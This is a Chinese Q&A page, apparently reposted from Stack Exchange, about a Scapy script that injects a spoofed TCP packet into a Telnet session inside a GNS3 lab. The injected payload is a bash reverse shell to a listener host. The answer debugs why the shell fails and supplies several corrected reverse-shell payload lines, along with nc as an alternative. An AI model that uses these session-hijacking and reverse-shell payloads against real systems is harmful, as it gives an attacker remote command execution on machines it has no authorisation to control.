You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

在GNS3中无法创建反向Shell的问题求助

问题描述

在Ubuntu系统中使用GNS3进行测试时,编写了如下Scapy代码:

import sys
from scapy.all import *
IPLayer = IP(src="10.10.10.191", dst="10.10.10.193")
TCPLayer = TCP(sport=46716, dport=23, flags="A",
seq=956606610, ack=3791760010)
Data = "\r /bin/bash -i > /dev/tcp/10.10.10.186/9090 2>&1 0<&1 \r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)

已确认所有IP地址配置正确,但目标服务器返回错误信息:

bash: /dev/tcp/10.10.10.186/9090: No such file or directory

解决方案
  • 检查目标系统bash的特性支持:/dev/tcp是bash的内置伪文件特性,并非真实磁盘文件,只有编译时启用了--enable-net-redirections选项的bash版本才支持。可在目标机器执行bash -c 'echo > /dev/tcp/10.10.10.186/9090'测试,若同样报错,说明bash不支持该特性,需更换支持的bash版本,或改用nc等其他反向shell方式。
  • 确认目标机器的执行环境为bash:若目标机器默认shell是sh、dash等非bash环境,直接执行/bin/bash -i可能无法触发网络重定向特性。可修改Data字段内容,明确在bash子shell中执行命令:
    Data = "\r /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.186/9090 0>&1' \r"
    
  • 验证目标机器的网络连通性:该错误也可能是目标机器无法连接到10.10.10.186的9090端口导致(bash会把连接失败伪装成文件不存在的错误)。可在目标机器手动执行telnet 10.10.10.186 9090或nc -zv 10.10.10.186 9090,确认端口是否可达,同时检查目标机器的防火墙、iptables规则是否阻止了出站连接。
  • 修正命令重定向格式:原命令的重定向写法可简化为更可靠的形式,避免顺序问题:
    Data = "\r /bin/bash -i > /dev/tcp/10.10.10.186/9090 2>&1 < /dev/tcp/10.10.10.186/9090 \r"
    

内容的提问来源于stack exchange,提问作者Tadashi Tang

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.19 01:40:43